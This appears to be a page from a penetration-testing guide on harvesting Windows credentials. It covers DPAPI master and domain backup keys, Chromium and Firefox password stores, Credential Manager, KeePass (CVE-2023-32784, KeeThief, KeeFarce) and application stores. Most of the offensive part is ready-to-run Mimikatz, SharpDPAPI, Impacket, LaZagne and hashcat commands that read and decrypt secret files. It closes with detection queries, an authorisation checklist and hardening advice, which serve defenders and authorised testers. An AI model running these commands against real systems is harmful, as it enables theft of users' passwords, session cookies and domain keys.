Credential Harvesting
Beyond LSASS dumping, Windows stores credentials in numerous locations — DPAPI-protected blobs, browser password stores, Windows Credential Manager, password managers, and application config files. This guide covers systematic extraction of credentials from all major stores with modern tooling.
Danger
Quick Navigation
Application Creds
Defense
DPAPI Fundamentals
The Data Protection API (DPAPI) is Windows' built-in encryption framework used by browsers, Credential Manager,
RDP passwords, Wi-Fi keys, and countless applications. Each user has master keys (derived from their password)
stored in %APPDATA%\Microsoft\Protect\{SID}\. The domain also maintains a backup key for recovery.
DPAPI Key Extraction
# SharpDPAPI — comprehensive DPAPI triage (run as target user or SYSTEM)
SharpDPAPI.exe triage
# Dump all DPAPI master keys (requires SYSTEM)
SharpDPAPI.exe masterkeys /rpc
# Decrypt all DPAPI blobs with recovered master keys
SharpDPAPI.exe credentials /mkfile:masterkeys.txt
SharpDPAPI.exe vaults /mkfile:masterkeys.txt
# Mimikatz — DPAPI module
sekurlsa::dpapi # Extract DPAPI keys from memory
dpapi::masterkey /in:"path\to\masterkey" /rpc # Decrypt with DC
dpapi::cred /in:"path\to\credential_blob" /masterkey:<key>
# Impacket (remote)
dpapi.py unprotect -file credential.blob -key <masterkey>Domain DPAPI Backup Key
The DC stores a DPAPI backup key that can decrypt any user's master keys. Requires Domain Admin to extract.
# Mimikatz
lsadump::backupkeys /system:dc01.corp.local /export
# Impacket
dpapi.py backupkeys -t dc01.corp.local 'corp.local/admin:Password1'
# With the domain backup key, decrypt any user's master keys:
dpapi.py masterkey -file user_masterkey -pvk domain_backupkey.pvk
# Then decrypt their credentials, browser passwords, etc.
SharpDPAPI.exe /pvk:domain_backupkey.pvk credentialsInformation
Browser Credential Extraction
Chrome / Edge (Chromium-Based)
Chromium browsers store passwords in SQLite (Login Data) encrypted with DPAPI.
Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data ·
Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
# SharpChromium — extract Chrome/Edge passwords, cookies, history
SharpChromium.exe logins
SharpChromium.exe cookies
SharpChromium.exe history
# SharpDPAPI — browser triage
SharpDPAPI.exe chromium /browser:chrome
SharpDPAPI.exe chromium /browser:edge
# From Linux with the user's master key
python3 chrome_decrypt.py --browser chrome --masterkey <key>
# HackBrowserData — multi-browser extraction
hack-browser-data.exe -b chrome,edge,firefox
# LaZagne — browsers only, JSON for the report
lazagne.exe browsers -oJ
# Seatbelt — enumerate saved browser credentials
Seatbelt.exe -group=user -outputfile=seatbelt.jsonFirefox
Firefox uses NSS (not DPAPI). Passwords stored in logins.json,
key in key4.db (encrypted with master password or blank).
# firepwd.py — decrypt Firefox passwords
python3 firepwd.py -d "%APPDATA%\Mozilla\Firefox\Profiles\abc123.default"
# firefox_decrypt — same job from a copied profile, prompts for the master password
python3 firefox_decrypt.py "%APPDATA%\Mozilla\Firefox\Profiles\abc123.default"
# SharpWeb — extract from multiple browsers
SharpWeb.exe all
SharpWeb.exe chrome
SharpWeb.exe edge
SharpWeb.exe firefox
# If master password is set, need to crack it first
# Extract key4.db and use firefox2hashcat
python3 firefox2hashcat.py key4.db > ff_hash.txt
hashcat -m 26100 ff_hash.txt wordlist.txtWindows Credential Manager
Credential Manager stores saved credentials for websites, network shares, RDP connections, and applications.
Credentials are in %APPDATA%\Microsoft\Credentials\ and protected by DPAPI — the same DPAPI
master keys the rest of this page already covers, so a domain backup key decrypts these offline too.
Both the roaming and local stores exist; cmdkey /list shows what the current user can see,
which is not the same as what is on disk.
# List saved credentials (as the user)
cmdkey /list
# SharpDPAPI — decrypt Credential Manager entries
SharpDPAPI.exe credentials
SharpDPAPI.exe vaults
SharpDPAPI.exe machinevaults # machine-scope vaults, needs SYSTEM
SharpDPAPI.exe backupkey /nowrap # the domain backup key, when you have DA
# Mimikatz — vault enumeration and decryption
vault::list
vault::cred /patch
sekurlsa::credman # credentials cached in LSASS, not on disk
# Decrypt specific credential files
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\<GUID>" /masterkey:<key>
# Both credential directories are worth listing
dir "%APPDATA%\Microsoft\Credentials\"
dir "%LOCALAPPDATA%\Microsoft\Credentials\"
# Seatbelt — enumerate
Seatbelt.exe CredFiles WindowsCredentialFiles WindowsVault
# LaZagne — automated multi-source credential extraction
lazagne.exe all
# NetExec — remote credential extraction (requires admin)
nxc smb target -u admin -p 'Password1' -M dpapiKeePass Extraction
KeePass databases (.kdbx) are encrypted with a master password. Several attack vectors exist.
# CVE-2023-32784 — KeePass < 2.54 memory dump (extracts master password)
KeePassDumpMasterKey.exe
python3 keepass-dump-masterkey.py kdmp.dmp # from a process dump
# KeeThief — extract master key from running KeePass process
KeeThief.exe
# KeeFarce — DLL injection to export all passwords to CSV
KeeFarce.exe
# Offline cracking if you have the .kdbx file
keepass2john database.kdbx > keepass_hash.txt
hashcat -m 13400 keepass_hash.txt wordlist.txt
john --format=KeePass keepass_hash.txt --wordlist=wordlist.txt
# Search for kdbx files on network shares
dir \\fileserver\share\ /s /b | findstr /i "\.kdbx$"
nxc smb targets.txt -u user -p Pass123 --spider . --regex "\.kdbx$"Other Application Credentials
| Source | Location / Notes |
|---|---|
| Wi-Fi | DPAPI-protected wireless profiles |
| PuTTY/WinSCP | Registry or ini file saved sessions |
| mRemoteNG | confCons.xml (default or custom key) |
| Sticky Notes | plum.sqlite in MicrosoftStickyNotes package |
| PSReadline | PowerShell history may contain plaintext passwords |
| IIS AppPools | applicationHost.config passwords |
| Unattend.xml | Deployment passwords in Panther directory |
# Wi-Fi passwords
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear
dpapi::wifi
# PuTTY saved sessions
reg query "HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions" /s
# mRemoteNG
python3 mremoteng_decrypt.py confCons.xml
# PowerShell history
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# IIS Application Pool passwords
C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*
# Unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\unattend\Unattend.xml
# LaZagne — all-in-one extraction
lazagne.exe all -oJ -output results.jsonDetection & Blue Team
| Source | Detection |
|---|---|
| Sysmon Event 1 | Known credential harvesting tools (SharpDPAPI, LaZagne, SharpChromium) |
| Sysmon Event 11 | File access to Login Data, Cookies, key4.db, or DPAPI master key paths |
| Event 4662 | DPAPI backup key access on DC (ms-BKRP-BackupKey GUID) |
| EDR | Process accessing browser credential files, SQLite operations on Login Data |
// KQL — Detect DPAPI backup key retrieval from DC
SecurityEvent
| where EventID == 4662
| where Properties contains "BCKUPKEY"
| project TimeGenerated, SubjectUserName, ObjectName, IpAddress
// Detect browser credential file access
DeviceFileEvents
| where FileName in ("Login Data", "Cookies", "key4.db", "logins.json")
| where InitiatingProcessFileName !in ("chrome.exe","msedge.exe","firefox.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, FolderPathEvidence Collection
Store and path:
Which store each credential came from — Login Data, a Credential Manager blob, key4.db, a .kdbx file — with its full path.
Decryption route: The master key or backup key used, and how it was obtained. A credential quoted without its route cannot be reproduced.
Proof of validity: Where the credential authenticates: one successful logon to the service it belongs to, not a password string.
Exposure scope: Which accounts the store contained. The client’s reset list is built from this, so it is the part they act on.
CVSS range: Browser credential theft: 5.5–6.5 · Credential Manager with a domain backup key: 7.5–8.8 · password-manager master password: 7.5.
False Positive Identification
- An empty credential store: A user who never saved a password produces an empty Login Data and a clean result. That is a finding about the store, not about the user.
- A DPAPI blob you cannot decrypt: Without the master key or the domain backup key, a blob is evidence of a store, not of a credential. Say which one you hold.
- A cookie that is already expired: Session tokens rot. An expired cookie proves the store is readable, not that the session is live — check before reporting hijack impact.
- A hash that will not crack: An uncracked hash from a browser store is still exposure, but report it as exposure, not as a known password.
- A KeePass CVE on a patched build: CVE-2023-32784 affects KeePass below 2.54. Check the version before claiming the memory-dump path works.
- Credentials in a config file: A connection string may be a service account with no interactive rights. Test it somewhere in scope before writing it up as an account takeover.
Testing Checklist
Before opening a store
- ☐ Confirm the objective authorises reading stored user secrets, not just host access
- ☐ Agree how harvested credentials are stored and destroyed during the engagement
- ☐ Identify whose profile you are in — a shared workstation changes what the finding means
Working through the stores
- ☐ DPAPI master keys first; without them every store below stays encrypted
- ☐ Browsers: Chromium
Login Data, then Firefoxlogins.json+key4.db - ☐ Credential Manager:
cmdkey /list, then the credential files in both directories - ☐ KeePass: process dump or offline
.kdbxcrack — note which - ☐ Application stores: Wi-Fi, PuTTY, mRemoteNG, IIS app pools, unattend files
- ☐ Record every credential with its store, path and validity before moving on
Remediation & Hardening
Reduce what is stored
- • Disable browser password saving by policy and redirect users to an enterprise password manager with MFA
- • Remove saved RDP and share credentials from Credential Manager as part of offboarding
- • Clear deployment passwords from
Unattend.xmland app-pool identities fromapplicationHost.config
Protect the keys
- • Enable Credential Guard so DPAPI operations move into a secure enclave
- • Treat the domain DPAPI backup key as Tier 0 — its theft is equivalent to a domain compromise for stored secrets
- • Keep KeePass at 2.54 or later, and rotate the master password after any host compromise
Detect the access
- • Alert on non-browser processes reading
Login Data,Cookies,key4.dborlogins.json - • Watch 4662 for the DPAPI backup-key GUID on a DC
- • Baseline which processes touch
%APPDATA%\Microsoft\Credentials